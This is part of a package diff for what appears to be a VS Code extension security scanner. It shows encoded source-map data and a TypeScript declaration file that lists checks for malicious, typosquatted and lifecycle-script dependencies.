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"}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
import type { Finding, VsixContents, ZooData } from "../types.js";
|
|
2
|
+
interface PackageJson {
|
|
3
|
+
name?: string;
|
|
4
|
+
dependencies?: Record<string, string>;
|
|
5
|
+
devDependencies?: Record<string, string>;
|
|
6
|
+
scripts?: Record<string, string>;
|
|
7
|
+
}
|
|
8
|
+
export declare function checkMaliciousPackages(packageJson: PackageJson, maliciousPackages: Set<string>): Finding[];
|
|
9
|
+
export declare function checkTyposquattingPackages(packageJson: PackageJson): Finding[];
|
|
10
|
+
export declare function checkLifecycleScripts(packageJson: PackageJson): Finding[];
|
|
11
|
+
export declare function checkDependencies(contents: VsixContents, zooData: ZooData): Finding[];
|
|
12
|
+
export {};
|
|
13
|
+
//# sourceMappingURL=dependencies.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dependencies.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/dependencies.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,OAAO,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,aAAa,CAAC;AAElE,UAAU,WAAW;IACnB,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,YAAY,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACtC,eAAe,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACzC,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;CAClC;AAoHD,wBAAgB,sBAAsB,CACpC,WAAW,EAAE,WAAW,EACxB,iBAAiB,EAAE,GAAG,CAAC,MAAM,CAAC,GAC7B,OAAO,EAAE,CA0BX;AAED,wBAAgB,0BAA0B,CAAC,WAAW,EAAE,WAAW,GAAG,OAAO,EAAE,CA6B9E;AAED,wBAAgB,qBAAqB,CAAC,WAAW,EAAE,WAAW,GAAG,OAAO,EAAE,CAuDzE;AAED,wBAAgB,iBAAiB,CAAC,QAAQ,EAAE,YAAY,EAAE,OAAO,EAAE,OAAO,GAAG,OAAO,EAAE,CAqBrF"}
|